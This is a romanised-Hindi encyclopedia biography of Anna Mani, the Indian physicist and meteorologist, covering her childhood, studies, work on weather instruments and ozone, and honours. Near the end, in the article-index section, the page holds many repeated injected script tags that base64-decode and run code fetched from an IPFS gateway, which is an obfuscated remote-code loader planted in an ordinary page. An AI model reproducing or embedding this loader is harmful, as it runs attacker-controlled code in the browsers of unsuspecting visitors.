अन्ना मणी

	anna mani
	anna mani\|200px\|center
poora nam	anna mani
janm	23 agast, 1918
janm bhoomi	piroomedoo, travanakor (keral)
mrityu	16 agast, 2001
mrityu sthan	tiruanantapuram
karm bhoomi	bharat
karm-kshetr	mausam vijnan, bhautik
vidyalay	presidensi kaॅlej, chennee; ianpiriyal kaॅlej, landan
puraskar-upadhi	aeeenese ke. ar. ramanathan padak, 1987
prasiddhi	bharatiy bhautik aur mausam vaijnanik
nagarikata	bharatiy
any janakari	sal 1969 mean anna mani ko bharatiy mausam vibhag mean up mahanideshak ke pad par niyukt kiya gaya. unhoanne baiangaluroo mean ek karyashala ko bhi sthapit kiya jo hava ki gati aur saur oorja ko mapane ka kam karati thi.

anna mani (aangrezi: Anna Mani, janm- 23 agast, 1918; mrityu- 16 agast, 2001) bharatiy bhautik aur mausam vaijnanik thian. vah bharat ke mausam vibhag ki up-nideshak bhi rahi thian. anh‍na man‍i vah mahila thian, jinake karan desh mean mausam ki bhavishh‍yavani karana asan hua. unh‍hoanne mausam ki bhavishh‍yavani karane vale aise upakaran taiyar kie, jinase satik janakari milana asan hua.

parichay

anna mani ka janm 23 agast, 1918 ko piroomedoo, travanakor (keral) mean ek eesaee parivar mean hua tha. unake pita ek sivil ianjiniyar aur ajneyavadi the. anna mani ath bhaee-bahan mean satavean nanbar ki thian. vah bachapan se hi jijnasu pravriti ki thian. unaka padhaee ke prati bahut hi gahara nata raha. isake alava vah gaandhiji ke vayakom satyagrah se kaphi prabhavit rahi thian. anna mani rashtravadi aandolan se itana prabhavit huee ki unhoanne is aandolan ke bad se keval khadi ke kap de pahanana shuroo kar diya tha. padhaee v shodh mean gahari roochi ke karan unhoanne shadi tak nahi ki thi.^[1]

pustakoan se prem

anna mani ka parivar shuroo se hi uchch-vargiy peshevar parivar tha. inake parivar vale shiksha ko lekar kaphi jagarook v shiksha ke mahatv ko bhali-bhaanti janate the. parivar ka manana tha l dakoan ko agar ap uchch stariy shiksha dete haian to betiyoan ko bhi kam se kam prathamik shiksha to jaroor dean. isaka aandaja is bat se bhi laga sakate haian ki anna mani ne apane jivan ke praranbhik 8 varshoan ke dauran hi malayalam sarvajanik puskalay ki lagabhag sabhi kitaboan ko padh dala tha. jab vah 12 varsh ki hueean, tab tak aangrezi ki us dauran chalane vali sabhi kitabean padh dali thian.

anna mani se ju da ek rochak tathy yah bhi hai ki jab unaka 8vaan janmadin manaya ja raha tha, tab unake gharavaloan ki taraph se hire ki baliyoan ke ek set ke roop mean paranparik upahar die ja rahe the, lekin unhoanne yah lene se mana kar diya aur isake bajay enasaiklopidiya britanika ke ek set ko chuna. isi bat se aandaja laga sakate haian ki unaki padhaee v kitaboan ke prati kitani gahari roochi rahi hogi.

shiksha

anna mani ne 1939 mean chennee (bhootapoorv madras) ke presidensi kaॅlej se bhautik aur rasayan vijnan mean biesasi onars ki digri ke sath mean snatak ki upadhi grahan ki. unhoanne 1940 mean bharatiy vijnan sansthan, baiangalor mean shodh ke lie chhatravritti bhi li. isake bad vah 1945 mean bhautiki mean snatak ki padhaee ke lie ianpiriyal kaॅlej, landan bhi geean, jahaan se unhoanne mausam sanbandhi upakaranoan ki visheshajnata hasil kar li. san 1948 mean anna mani jab vapas bharat lautian to unhoanne pune sthit mausam vibhag mean naukari karana praranbh kar diya, jahaan se unhoanne mausam vijnan upakaranoan kean vishay mean kee shodh patr bhi likhe. san 1969 mean up mahanideshak ke pad par unaka tabadala dilli mean hua. isake bad vah kuchh samay ke lie misr mean dablyooemo salahakar ke roop mean bhi kary kiya. isake bad vah age chalakar 1976 mean bharatiy mausam vibhag ki up-nideshak pad se sevanivrit hueean.^[1]

kॅriyar

anna mani ne pachaee kaॅlej se snatak ki padhaee ke bad prophesar si. vi. raman ke adhin kam karana praranbh kar diya tha. mani ne roobi aur hire ke aauptikal par bhi gaharaee se shodh kiya tha. unake dvara paanch shodh patr bhi likhe gaye. unhoanne apana piechadi shodh prabandh bhi prastut kiya, lekin unako piechadi ki digri hasil nahian huee, kyoanki unake pas bhautiki mean mastar ki digri nahian thi. anna mani 1948 mean bharat lautian aur pune sthit mausam vibhag mean shamil hueean. usake bad unhoanne mausam sanbandhi upakaranoan par kee shodh patr bhi prakashit kie. mana jata hai ki unake jyadatar shodh briten se ayatit mausam sanbandhi upakaran par the.

anna mani mausam yantroan ki drishti se bharat ko ek svatantr rashtr banana chahati thian. unhoanne karib 100 vibhinn mausam upakaranoan ke chitr ko manakikrit kiya. isake alava 1957-1958 ate-ate unhoanne saur vikiran ko mapane ke lie steshanoan ka ek netavark bhi sthapit kar diya tha. anna mani ne bangalaur mean ek karyashala ko bhi sthapit kiya jo hava ki gati aur saur oorja ko mapane ka kary karati thi. isake alava unhoanne ojon parat par bhi gahara shodh kiya, jisake chalate age chalakar unhean 'iantaraneshanal ojon esosieshan' ka sadasy bhi banaya gaya. anna mani ke dvara hi thumba raॅket laॅnchiang mean mausam sanbandhi vedhashala aur ek ianstroomeanteshan taॅvar ko sthapit kiya gaya tha.

googal doodal

thumb|left|250px|anna mani ke 104vean janmadivas par googal ka doodal diggaj sarch ianjan googal ne ek khas doodal ke jarie desh ki prasiddh bhautik vijnani aur mausam vijnani anna mani ko yad kiya. googal ne anna mani ki 104vian jayanti (23 agast, 2022) ke avasar par ek khas doodal taiyar kiya. googal ke hom pej par anna mani aur mausam se ju de vibhinn paristhitiyoan ko dikhaya gaya hai. ‘bharat ki mausam mahila’ ke nam se prasiddh anna mani ne mausam ke poorvanuman ke kshetr mean apana amooly yogadan diya tha.

upalabdhiyaan

anna mani ko bharatiy rashtriy vijnan akadami, ameriki mausam vijnan sosayati, aantarrashtriy saur oorja sosayati, vishv mausam vijnan sangathan, mausam vijnan aur vayumandaliy bhautiki ke lie aantarrashtriy sangh se jo da gaya.^[1]
san 1987 mean unake kary ke prati lagan v yogadan ke badale unhean aeeenese ke. ar. ramanathan padak se navaja gaya.

mrityu

16 agast, 2001 ko anna mani ne tiruanantapuram mean is duniya ko alavida kah diya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 kaun haian anna mani? jinake prayas se bharatiy mausam ka poorvanuman hua sanbhav (hiandi) betulsamachar.com. abhigaman tithi: 23 agast, 2021.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 ^1.2 kaun haian anna mani? jinake prayas se bharatiy mausam ka poorvanuman hua sanbhav (hiandi) betulsamachar.com. abhigaman tithi: 23 agast, 2021.

[1]

anna mani
anna mani\|200px\|center
poora nam	anna mani
janm	23 agast, 1918
janm bhoomi	piroomedoo, travanakor (keral)
mrityu	16 agast, 2001
mrityu sthan	tiruanantapuram
karm bhoomi	bharat
karm-kshetr	mausam vijnan, bhautik
vidyalay	presidensi kaॅlej, chennee ianpiriyal kaॅlej, landan
puraskar-upadhi	aeeenese ke. ar. ramanathan padak, 1987
prasiddhi	bharatiy bhautik aur mausam vaijnanik
nagarikata	bharatiy
any janakari	sal 1969 mean anna mani ko bharatiy mausam vibhag mean up mahanideshak ke pad par niyukt kiya gaya. unhoanne baiangaluroo mean ek karyashala ko bhi sthapit kiya jo hava ki gati aur saur oorja ko mapane ka kam karati thi.